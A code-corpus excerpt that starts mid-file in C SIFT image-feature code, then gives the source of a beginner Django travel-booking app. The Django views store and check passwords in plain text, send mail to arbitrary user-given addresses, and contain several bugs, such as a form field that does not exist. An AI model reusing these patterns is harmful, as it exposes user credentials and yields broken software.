dy) * exp(-(X*X+Y*Y)/(2*t*t));\n\n // bin indices, Compute the (tri)linear weightings ...\n float alpha = X/(2*lambda_descr*sigma_key/Nhist) + (Nhist-1.0)/2.0;\n float beta = Y/(2*lambda_descr*sigma_key/Nhist) + (Nhist-1.0)/2.0;\n float gamma = ori/(2*M_PI)*Nbins;\n // ...and add contributions to respective bins in different histograms.\n // a loop with 1 or two elements\n int i0 = floor(alpha);\n int j0 = floor(beta);\n for(int i = MAX(0,i0);i<=MIN(i0+1,Nhist-1);i++){\n for(int j = MAX(0,j0);j<=MIN(j0+1,Nhist-1);j++){ // looping through all surrounding histograms.\n\n int k;\n // Contribution to left bin.\n k = ((int)gamma+Nbins)%Nbins;\n descr[i*Nhist*Nbins+j*Nbins+k] += (1.-(gamma-floor(gamma)))\n *(1.0-ABS((float)i-alpha))\n *(1.0-ABS((float)j-beta))\n *M;\n\n // Contribution to right bin.\n k = ((int)gamma+1+Nbins)%Nbins;\n descr[i*Nhist*Nbins+j*Nbins+k] += (1.0-(floor(gamma)+1-gamma))\n *(1.0-ABS((float)i-alpha))\n *(1.0-ABS((float)j-beta))\n *M;\n \n\n }\n }\n }\n }\n }\n}\n\n\n\n\n\n/** @brief Modify descriptor for robustness and speed\n *\n * - Threshold bins exceeding the value of threshold times the l2 norm\n * (to increase robustness to saturation effects)\n *\n * - Normalized the vector (l2 norm = 512)\n *\n * - Quantize vector values\n * (to increase the speed of distance computations)\n *\n *\n * ----INPUT OUTPUT----\n * @param descr float histogram of length Nhist*Nhist*Nbins (=128)\n *\n * ----PARAM----\n * @param threshold threshold applied to the l2-norm of the descriptor\n *\n * ----OUTPUT----\n * @param qtdescr int histogram of length Nhist*Nhist*Nbins and values in [0..255]\n *\n */\nvoid sift_threshold_and_quantize_feature_vector(float* descr, int n, float threshold)\n{\n // Normalize\n float l2norm = array_l2norm(descr, n);\n // Threshold bins\n for(int i = 0; i < n; i++){\n descr[i] = MIN(descr[i],threshold*l2norm);\n }\n // Renormalize\n l2norm = array_l2norm(descr, n);\n // Quantization\n for(int i = 0; i < n; i++){\n descr[i] = (int)(descr[i]*512.0/l2norm);\n descr[i] = MIN(descr[i], 255);\n }\n}\n\n\n\n\n/** @brief Iterative box filter of w 3 bins\n *\n * ----INPUT OUTPUT----\n * @param hist : histogram\n *\n * ----INPUT----\n * @param nbins : number of bins\n *\n * ----PARAM----\n * @param niter : number of iteration\n *\n */\nstatic void smooth_circular_histogram(int niter, float* hist, int nbins)\n{\n int i,i_prev,i_next;\n float tmp[nbins];\n /// Initialization\n for(i = 0; i < nbins; i++)\n tmp[i] = hist[i];\n /// Convolution with box filters\n for(;niter>0;niter--){\n for(i=0;i<nbins;i++)\n tmp[i] = hist[i];\n for(i=0;i<nbins;i++){\n i_prev = (i-1+nbins)%nbins;\n i_next = (i+1)%nbins;\n hist[i] = (tmp[i_prev]+tmp[i]+tmp[i_next])/3.;\n }\n }\n}\n" }, { "alpha_fraction": 0.6468774080276489, "alphanum_fraction": 0.6651246547698975, "avg_line_length": 28.255640029907227, "blob_id": "ed153a30ab5f9e0cffb34eb48ac7ffc433953978", "content_id": "fcd3f2f7fa8507db7d9c95f38abbf6057dcf2ce5", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3891, "license_type": "permissive", "max_line_length": 84, "num_lines": 133, "path": "/backend/demo_SIFT/src/lib_discrete.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [3] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file lib_discrete.h\n * @brief simple image transformations \n *\n * This is a front-end to libpng, with routines to:\n * @li Separable discrete convolutions\n * @li Gaussian blur via discrete convolution with truncated kernel\n * @li 2D Gradient\n * @li Subsampling by integer factor\n * @li bilinear interpolation\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n#ifndef _LIB_DISCRETE_H_\n#define _LIB_DISCRETE_H_\n\n\n\n\n\n/** @brief Discrete Gaussian convolution on image\n * \n * Applies in each direction monodimensional sampled Gaussian kernel and\n * truncated at radius 4\\sigma.\n * \n * \\param in input image of size w X h.\n * \\param out output image of size w X h.\n * \\param sigma standard deviation of the Gaussian kernel\n */\nvoid sift_add_gaussian_blur(const float* in, float* out, int w, int h, float sigma);\n\n\n\n/** @brief Image Gradient\n * \n * Computes the gradient via the centered finite difference scheme\n * [-1/2,0,+1/2]\n * \n * \\param im input image of size w X h.\n * \\param im_x gradient component along x (| top-bottom) ( w X h samples).\n * \\param im_y gradient component along y (-> left-right) ( w X h samples).\n * \\param sigma standard deviation of the Gaussian kernel \n * \n */\nvoid sift_compute_gradient(const float* im, float* im_x, float* im_y, int w, int h);\n\n\n\n\n/** @brief Image subsampling by a factor 2\n * \n * \\param in [i,j] , (0 <= i <= h-1) (0 <= j <= w-1) . \n * \\param out [i,j]= in[2*i,2*j] , (0 <= i <= int(h/2)-1) (0 <= j <= int(w/2)-1)\n * \n */\nvoid sift_subsample_by2(const float* in, float* out, int wi, int hi);\n\n\n\nvoid oversample_by2_bilin(const float* in, float* out, int wi, int hi);\n\n/** @brief Interpolate the image with a bilinear model\n * \n * the inter-pixel distance in the output image is delta_out\n * \n * in : input digital image with (wi X hi) samples.\n * out : output digital image with (wo X ho) samples,\n * with wo = \\lfloor wi / delta_out \\rfloor\n * and ho = \\lfloor hi / delta_out \\rfloor\n * \n * \n */\nvoid sift_oversample_bilin(const float* in , int wi, int hi,\n float* out, int wo, int ho,\n float delta_out);\n\n\n\n#endif // _LIB_DISCRETE_H_\n" }, { "alpha_fraction": 0.6183156967163086, "alphanum_fraction": 0.6352865695953369, "avg_line_length": 31.195877075195312, "blob_id": "7e0297a1bf69e2c334f82998d5e69905f2017128", "content_id": "3dd0920e1cce864c35e3b4d60fb4bf95becb55f5", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3123, "license_type": "permissive", "max_line_length": 135, "num_lines": 97, "path": "/backend/demo_SIFT/src/lib_sift_anatomy.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\n\n*/\n/**\n * @file lib_sift_anatomy.h\n * @brief SIFT anatomy interface\n *\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n#ifndef _LIB_SIFT_ANATOMY_H_\n#define _LIB_SIFT_ANATOMY_H_\n\n\n#include \"lib_scalespace.h\"\n#include \"lib_keypoint.h\"\n\n\nstruct sift_parameters\n{\n int n_oct, n_spo, n_hist, n_bins, n_ori, itermax;\n float sigma_min, delta_min, sigma_in, C_DoG, C_edge, lambda_ori, t, lambda_descr;\n};\n\nstruct sift_parameters* sift_assign_default_parameters();\n\nstruct sift_keypoints* sift_anatomy(const float* x, int w, int h, const struct sift_parameters* p,\n struct sift_scalespace* ss[4],\n struct sift_keypoints* kk[6]);\n\nstruct sift_keypoints* sift_anatomy_without_description(const float* x, int w, int h, const struct sift_parameters* p,\n struct sift_scalespace* ss[2],\n struct sift_keypoints* kk[5]);\n\nvoid sift_anatomy_only_description(const float* x, int w, int h, const struct sift_parameters* p, struct sift_keypoints* k);\n\nvoid sift_anatomy_orientation_and_description(const float* x, int w, int h, const struct sift_parameters* p, struct sift_keypoints* k);\n\n\nvoid scalespace_compute(struct sift_scalespace* ss,\n const float* image,\n int im_w,\n int im_h,\n float sigma_in);\n\nvoid scalespace_compute_gradient(const struct sift_scalespace* scalespace,\n struct sift_scalespace* sx,\n struct sift_scalespace* sy);\n\n\n\n\n#endif // _LIB_SIFT_ANATOMY_H_\n" }, { "alpha_fraction": 0.5112097263336182, "alphanum_fraction": 0.5270285606384277, "avg_line_length": 27.529220581054688, "blob_id": "8e1c5dd93d439443fad99ed930944dedce810516", "content_id": "84ece86692f4ef2d57b497afbd59846e48d593a8", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8787, "license_type": "permissive", "max_line_length": 84, "num_lines": 308, "path": "/backend/demo_SIFT/src/lib_discrete.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [3] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file lib_discrete.c\n * @brief simple image transformations \n *\n * This is a front-end to libpng, with routines to:\n * @li Separable discrete convolutions\n * @li Gaussian blur via discrete convolution with truncated kernel\n * @li 2D Gradient\n * @li Subsampling by integer factor\n * @li bilinear interpolation\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n\n#include <stdio.h>\n#include <math.h>\n#include <stdlib.h>\n#include <assert.h>\n#include \"lib_discrete.h\"\n#include \"lib_util.h\"\n\n\n\n\n\n\n\n/** @brief Compute image gradient via symmetric finite difference schemes\n *\n * image extension : symmetrization at x=-1/2 \n * \n */\nvoid sift_compute_gradient(const float* im, float* im_x, float* im_y, int w, int h){\n\n const float* p_in;\n const float* p_in_p;\n const float* p_in_m;\n float* p_out;\n \n /** Computing im_y */\n /* pixels in the center */\n p_in = &im[1];\n p_out = &im_y[1];\n p_in_p = p_in+1;\n p_in_m = p_in-1;\n for(int i=1;i<h*w-1;i++){ /* produces false value on borders but it's ok */\n *p_out = (*p_in_p-*p_in_m)*0.5;\n p_out++;\n p_in_m++;\n p_in_p++;\n }\n /* pixels on borders - symmetrization at y=-1/2 */\n for(int i=0;i<h;i++){\n im_y[i*w] = im[i*w+1]- im[i*w];\n im_y[i*w+(w-1)] = im[i*w+(w-1)] - im[i*w+(w-2)];\n }\n\n\n /** Computing im_x */\n /* pixels in the center */\n p_in = &im[w];\n p_out = &im_x[w];\n p_in_p = p_in+w;\n p_in_m = p_in-w;\n for(int i=w;i<h*w-w;i++){ /* produces false value on borders */\n *p_out = (*p_in_p-*p_in_m)*0.5;\n p_out++;\n p_in_m++;\n p_in_p++;\n }\n /* pixels on borders - symmetrization at x=-1/2 */\n for(int i=0;i<w;i++){\n im_x[i] = im[i+w]-im[i];\n im_x[(h-1)*w+i] = im[(h-1)*w+i] - im[(h-1-1)*w+i];\n }\n}\n\n\n\n\n/**\n * @brief Builds mono-dimensional sampled Gaussian kernel.\n *\n * Only considers the right side of the kernel \n * (including the center\n *\n * Returns a (rad+1) long vector\n *\n *\n */\nstatic float* malloc_gaussian_symm_kernel(float sigma, int rad)\n{\n assert(sigma>=0);\n float* gker = xmalloc((rad+1)*sizeof(float));\n gker[0] = 1.;\n if(sigma>0){\n float sum = gker[0];\n for(int i = 1; i <= rad; i++){\n gker[i] = exp(-0.5*(float)i*(float)i/sigma/sigma);\n sum += 2*gker[i];\n }\n for(int i = 0; i <= rad; i++)\n gker[i] /= sum;\n }else{\n for(int i = 1; i <= rad; i++){\n gker[i] = 0.0;\n }\n }\n return gker;\n}\n\n\nstatic void convolve_symm(const float* in, float* out, int w, int h,\n const float* xker, int r_xker,\n const float* yker, int r_yker);\n\n\nvoid sift_add_gaussian_blur(const float* in, float* out, int w, int h, float sigma){\n int r_gker = (int)ceil(4*sigma); // ceil(4*sigma)\n float* gker = malloc_gaussian_symm_kernel(sigma, r_gker);\n convolve_symm(in,out,w,h,gker,r_gker,gker,r_gker);\n xfree(gker);\n}\n\n/** @brief sub sampling by factor 2, keeping sample (0,0) */\nvoid sift_subsample_by2(const float* in, float* out, int wi, int hi){\n int wo = wi/2;\n int ho = hi/2;\n int i, j, i_p, j_p;\n for(i=0;i<ho;i++){\n i_p = 2*i;\n for(j=0;j<wo;j++){\n j_p=2*j;\n out[i*wo+j] = in[i_p*wi+j_p];\n }\n }\n}\n\n\n\n\n/** @brief Interpolate the image with a bilinear model\n * \n * the inter-pixel distance in the output image is delta_out\n * \n * in : input digital image with (wi X hi) samples.\n * out : output digital image with (wo X ho) samples,\n * with wo = \\lfloor wi / delta_out \\rfloor\n * and ho = \\lfloor hi / delta_out \\rfloor\n * \n * \n */\nvoid sift_oversample_bilin(const float* in , int wi, int hi,\n float* out, int wo, int ho,\n float delta_out)\n{\n assert(delta_out<=1);\n\n for(int i = 0; i < ho; i++){\n for(int j = 0; j < wo; j++){\n\n float x = i*delta_out;\n float y= j*delta_out;\n int im = (int)x;\n int jm = (int)y;\n int ip = im +1;\n int jp = jm +1;\n\n //image extension by symmetrization\n if(ip >= hi){ip = 2*hi-1-ip;}\n if(im >= hi){im = 2*hi-1-im;}\n if(jp >= wi){jp = 2*wi-1-jp;}\n if(jm >= wi){jm = 2*wi-1-jm;}\n\n const float fractional_x = x - floor(x);\n const float fractional_y = y - floor(y);\n out[i*wo+j] = fractional_x * ( fractional_y * in[ip*wi+jp]\n + (1 - fractional_y) * in[ip*wi+jm] )\n + (1-fractional_x) * ( fractional_y * in[im*wi+jp]\n + (1 - fractional_y) * in[im*wi+jm] );\n }\n }\n}\n\n\n\n// Returns the corresponding coordinate 0<=i<l under symmetrized signal\n// extension \nstatic inline int symmetrized_coordinates(int i, int l)\n{\n int ll = 2*l;\n i = (i+ll)%(ll);\n if(i>l-1){i = ll-1-i;}\n return i;\n}\n\n\n\n/** @brief Apply a convolution with a separable kernel\n * and signal extension by symmetrization\n *\n * @param in Input image of w X h samples\n * @param out Output image (same dimension)\n *\n * @param xker Kernel applied along direction x\n * radius = r_xker\n * w = 2*r_xker+1\n *\n * @param yker Kernel applied along direction y\n * radius = r_yker\n * w = 2*r_yker+1\n *\n * Compute:\n *\n * out[i,j] = \\sum_{-r_xker \\leq k \\leq +r_xker} \n * xker[k]\n * . \\sum_{-r_xker \\leq l \\leq +r_xker}\n * yker[l].in[i-k,j-l]\n *\n * Border condition: symmetrization at border\n * (at x = -1./2 and x = w-1./2)\n *\n */\nstatic void convolve_symm(const float* in, float* out, int w, int h,\n const float* xker, int r_xker,\n const float* yker, int r_yker)\n{\n float* im_tmp = xmalloc(w*h*sizeof(float));\n /* convolution along x coordinates */\n for(int i=0;i<h;i++){\n for(int j=0;j<w;j++){\n float sum = in[i*w+j] * xker[0] ;\n for(int k = 1; k <= r_xker; k++){\n int i_p_left = symmetrized_coordinates(i-k, h);\n int i_p_right = symmetrized_coordinates(i+k, h);\n sum += xker[k]*(in[i_p_left*w+j] + in[i_p_right*w+j]);\n }\n im_tmp[i*w+j] = sum;\n }\n }\n /* convolution along y coordinates */\n for(int i=0;i<h;i++){\n for(int j=0;j<w;j++){\n float sum = im_tmp[i*w+j] * xker[0];\n for(int k = 1; k <= r_yker; k++){\n int j_p_left = symmetrized_coordinates(j-k, w);\n int j_p_right = symmetrized_coordinates(j+k, w);\n sum += yker[k]*(im_tmp[i*w+j_p_left] + im_tmp[i*w+j_p_right]);\n }\n out[i*w+j] = sum;\n }\n }\n xfree(im_tmp);\n}\n" } ]
40
lekshmi12340/travel-app-using-django
https://github.com/lekshmi12340/travel-app-using-django
fbc1a126bed00bfdfeee139efdd958faa86fe69b
9044f8dd7306aa8c8e469d66395100159adc092e
1c316d316003d1fc4f068cf6fe9b5f37538eb291
refs/heads/master
2022-11-27T22:20:37.980253
2020-08-10T10:14:18
2020-08-10T10:14:18
286,440,842
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.537109375, "alphanum_fraction": 0.537109375, "avg_line_length": 40.75, "blob_id": "680acbe2a5fbf501d2b93b6b3dfbeb2c301100f3", "content_id": "ce53dcefca4b6c10bdde06e49241c47938c746fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1024, "license_type": "no_license", "max_line_length": 68, "num_lines": 24, "path": "/urls.py", "repo_name": "lekshmi12340/travel-app-using-django", "src_encoding": "UTF-8", "text": "from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns=[path('home',views.home),\r\n path('about',views.about),\r\n path('blog',views.blog),\r\n path('contact', views.contact),\r\n path('destination_details', views.destination_details),\r\n path('elements', views.elements),\r\n path('index', views.index),\r\n path('main', views.main),\r\n path('singleblog', views.singleblog),\r\n path('travel_destination', views.travel_destination),\r\n path('index', views.index),\r\n path('mailsending', views.mailsending),\r\n path('signup',views.signup),\r\n path('subscribe',views.subscribe),\r\n path('destiny',views.destiny),\r\n path('login', views.login),\r\n path('breply', views.breply),\r\n path('joindetails', views.joindetails),\r\n path('loginn', views.loginn),\r\n path('availability', views.availability),\r\n ]" }, { "alpha_fraction": 0.7105262875556946, "alphanum_fraction": 0.7242823243141174, "avg_line_length": 45.20000076293945, "blob_id": "7db955ec56b703c8372dc088819ebfeb4a071176", "content_id": "04464e402bb4ae0417b83e27733660db245d8895", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1672, "license_type": "no_license", "max_line_length": 96, "num_lines": 35, "path": "/forms.py", "repo_name": "lekshmi12340/travel-app-using-django", "src_encoding": "UTF-8", "text": "from django import forms\r\nfrom . models import person,destinations,blogreply,join\r\n\r\nclass mailsendingform(forms.Form):\r\n subject = forms.CharField(max_length=50)\r\n message = forms.CharField(max_length=50)\r\n from_mail = forms.CharField(max_length=50)\r\n to_mail = forms.CharField(max_length=50)\r\n\r\nclass signupform(forms.Form):\r\n firstname=forms.CharField(widget=forms.TextInput())\r\n lastname=forms.CharField(widget=forms.TextInput())\r\n GENDER_CHOICES=('male','male'),('female','female')\r\n gender=forms.ChoiceField(choices=GENDER_CHOICES,widget=forms.RadioSelect())\r\n dateofbirth=forms.DateField()\r\n contactnumber=forms.IntegerField()\r\n country_choice=[('India','India'),('America','America'),('United Kingdom','United Kingdom')]\r\n country=forms.ChoiceField(choices=country_choice,widget=forms.RadioSelect())\r\n address=forms.CharField(widget=forms.Textarea())\r\n password=forms.CharField(widget=forms.PasswordInput())\r\n idproofnumber=forms.IntegerField(widget=forms.NumberInput)\r\nclass destinationdetails(forms.Form):\r\n wheretogo =forms.CharField(widget=forms.TextInput())\r\n date=forms.DateField()\r\n travel_choice=[('Advance','Advance'),('Premium','Premium')]\r\n traveltype=forms.ChoiceField(choices=travel_choice,widget=forms.RadioSelect())\r\nclass blogreplydetails(forms.Form):\r\n comment=forms.CharField(max_length=1000)\r\n name=forms.CharField(max_length=50)\r\n email=forms.EmailField()\r\n website=forms.CharField(max_length=100)\r\nclass joinform(forms.Form):\r\n name = forms.CharField(max_length=50)\r\n phonenumber=forms.IntegerField()\r\n message=forms.CharField(max_length=1000)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n" }, { "alpha_fraction": 0.667397677898407, "alphanum_fraction": 0.6900584697723389, "avg_line_length": 31.317073822021484, "blob_id": "ca35e7de9bdbd8a09007105b83f8f0ef55c87ae4", "content_id": "9120701b28c378952ee28744df0d0ddb3e4848be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1368, "license_type": "no_license", "max_line_length": 63, "num_lines": 41, "path": "/models.py", "repo_name": "lekshmi12340/travel-app-using-django", "src_encoding": "UTF-8", "text": "\r\nfrom django.db import models\r\nclass person(models.Model):\r\n firstname=models.CharField(max_length=50)\r\n lastname=models.CharField(max_length=50)\r\n gender=models.CharField(max_length=50)\r\n dateofbirth=models.DateField()\r\n contactnumber=models.TextField()\r\n country =models.CharField(max_length=50)\r\n address=models.CharField(max_length=50)\r\n password=models.CharField(max_length=50)\r\n idproofnumber=models.TextField()\r\n class Meta:\r\n verbose_name_plural=\"Registration details\"\r\n def __str__(self):\r\n return self.firstname\r\nclass destinations(models.Model):\r\n wheretogo =models.CharField(max_length=50)\r\n date=models.DateField()\r\n traveltype=models.CharField(max_length=75)\r\n class Meta:\r\n verbose_name_plural=\"Destination Availability Details\"\r\n def __str__(self):\r\n return self.wheretogo\r\nclass blogreply(models.Model):\r\n comment=models.CharField(max_length=1000)\r\n name=models.CharField(max_length=50)\r\n email=models.EmailField()\r\n website=models.CharField(max_length=100)\r\n class Meta:\r\n verbose_name_plural=\"Blog reply\"\r\n def __str__(self):\r\n return self.name\r\nclass join(models.Model):\r\n name = models.CharField(max_length=50)\r\n phonenumber=models.IntegerField()\r\n message=models.CharField(max_length=1000)\r\n\r\n\r\n\r\n\r\n# Create your models here.\r\n" }, { "alpha_fraction": 0.6343995928764343, "alphanum_fraction": 0.6343995928764343, "avg_line_length": 35.08695602416992, "blob_id": "b381feb9e09a99a4d448c22cbc1f52b8506c0a4e", "content_id": "b9a4a55d9058dc0f820c0651967d41ce9760ccc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5971, "license_type": "no_license", "max_line_length": 91, "num_lines": 161, "path": "/views.py", "repo_name": "lekshmi12340/travel-app-using-django", "src_encoding": "UTF-8", "text": "from django.core.mail import EmailMessage\r\nfrom django.shortcuts import render\r\nfrom django.http import HttpResponse\r\nfrom .forms import mailsendingform, signupform,destinationdetails,blogreplydetails,joinform\r\nfrom .models import person,destinations,blogreply,join\r\n\r\n\r\ndef home(request):\r\n return HttpResponse('Hello world')\r\n\r\ndef about(request):\r\n return render(request,'travelapp/about.html')\r\ndef subscribe(request):\r\n return render(request,'travelapp/subscribe.html')\r\ndef blog(request):\r\n return render(request,'travelapp/blog.html')\r\ndef contact(request):\r\n return render(request,'travelapp/contact.html')\r\ndef destination_details(request):\r\n return render(request,'travelapp/destination_details.html')\r\ndef elements(request):\r\n return render(request,'travelapp/elements.html')\r\ndef index(request):\r\n return render(request,'travelapp/index.html')\r\ndef main(request):\r\n return render(request,'travelapp/main.html')\r\ndef singleblog(request):\r\n return render(request,'travelapp/single-blog.html')\r\ndef travel_destination(request):\r\n return render(request,'travelapp/travel_destination.html')\r\ndef index(request):\r\n return render(request,'travelapp/index.html')\r\n\r\ndef loginn(request):\r\n return render(request,'travelapp/login.html')\r\ndef mailsending(request):\r\n form=mailsendingform\r\n if request.method==\"POST\":\r\n form=mailsendingform(request.POST)\r\n if form.is_valid():\r\n subject = form.cleaned_data['subject']\r\n message = form.cleaned_data['message']\r\n from_mail = form.cleaned_data['from_mail']\r\n to_mail = form.cleaned_data['to_mail']\r\n\r\n email=EmailMessage(subject,message,from_mail,[to_mail])\r\n email.send()\r\n return HttpResponse('Email send successfully')\r\n else:\r\n\r\n form=mailsendingform()\r\n return render(request,'travelapp/contact.html',{'form':form})\r\ndef signup(request):\r\n form = signupform()\r\n\r\n if request.method=='POST':\r\n form=signupform(request.POST)\r\n if form.is_valid():\r\n firstname=form.cleaned_data['firstname']\r\n lastname = form.cleaned_data['lastname']\r\n gender = form.cleaned_data['gender']\r\n dateofbirth = form.cleaned_data['dateofbirth']\r\n contactnumber = form.cleaned_data['contactnumber']\r\n country = form.cleaned_data['country']\r\n address = form.cleaned_data['address']\r\n password = form.cleaned_data['password']\r\n idproofnumber = form.cleaned_data['idproofnumber']\r\n Person=person()\r\n Person.firstname=firstname\r\n Person.lastname = lastname\r\n Person.dateofbirth= dateofbirth\r\n Person.contactnumber= contactnumber\r\n Person.country= country\r\n Person.address = address\r\n Person.password = password\r\n Person.idproofnumber= idproofnumber\r\n Person.save()\r\n return render(request,'travelapp/signupconfirm.html')\r\n\r\n return render(request,'travelapp/signup.html',{'form':form})\r\ndef login(request):\r\n if request.method==\"POST\":\r\n firstname=request.POST.get(\"firstname\")\r\n password=request.POST.get(\"password\")\r\n print(firstname,password)\r\n userdata=person.objects.filter(firstname=firstname,password=password)\r\n if userdata:\r\n form=signupform()\r\n return render(request,'travelapp/travellersdata.html')\r\n\r\n return render(request,'travelapp/signup.html')\r\ndef destiny(request):\r\n form=destinationdetails()\r\n if request.method=='POST':\r\n form=destinationdetails(request.POST)\r\n if form.is_valid():\r\n wheretogo=form.cleaned_data['wheretogo']\r\n date = form.cleaned_data['date']\r\n traveltype = form.cleaned_data['traveltype']\r\n Destiny=destinations()\r\n Destiny.wheretogo=wheretogo\r\n Destiny.date = date\r\n Destiny.traveltype = traveltype\r\n Destiny.save()\r\n return HttpResponse(\"Form submitted successfully\")\r\n return render(request,'travelapp/travel_destination.html',{'form':form})\r\ndef availability(request):\r\n if request.method==\"GET\":\r\n wheretogo=request.POST.get(\"wheretogo\")\r\n\r\n traveltype=request.POST.get('traveltype')\r\n\r\n print(wheretogo,traveltype)\r\n userdata=destinations.objects.filter(wheretogo='California',traveltype='Advance')\r\n if userdata:\r\n form=destinationdetails()\r\n return render(request,\"travelapp/availability.html\")\r\n\r\n return render(request,'travelapp/redirect.html')\r\n\r\ndef breply(request):\r\n form=blogreplydetails()\r\n if request.method=='POST':\r\n form=blogreplydetails(request.POST)\r\n if form.is_valid():\r\n comment = form.cleaned_data['comment']\r\n name = form.cleaned_data['name']\r\n email = form.cleaned_data['email']\r\n website = form.cleaned_data['website']\r\n blog=blogreply()\r\n blog.comment=comment\r\n blog.name=name\r\n blog.email=email\r\n blog.website=website\r\n blog.save()\r\n return HttpResponse(\"Form submitted successfully\")\r\n return render(request,'travelapp/blogreply.html',{'form':form})\r\ndef joindetails(request):\r\n form=joinform()\r\n if request.method=='POST':\r\n form=joinform(request.POST)\r\n if form.is_valid():\r\n name = form.cleaned_data['name']\r\n phonenumber = form.cleaned_data['phonenumber']\r\n message = form.cleaned_data['website']\r\n joins=join()\r\n joins.name=name\r\n joins.phonenumber=phonenumber\r\n joins.message=message\r\n joins.save()\r\n return HttpResponse(\"Form submitted successfully\")\r\n return render(request,'travelapp/blogreply.html',{'form':form})\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Create your views here.\r\n" } ]
4
tcgarrido/IIC2173_T1
https://github.com/tcgarrido/IIC2173_T1
4915cabbac3d0a00f6b371a466d994eb3ebdabe0
4602174814876e38d13a6f2891b7f300ff1d1eea
9dbec8209816e8d056845323d3724c94b33a1cbb
refs/heads/master
2020-03-28T13:46:23.814502
2018-09-12T19:09:41
2018-09-12T19:09:41
148,427,369
0
0
null
null
null
null
null
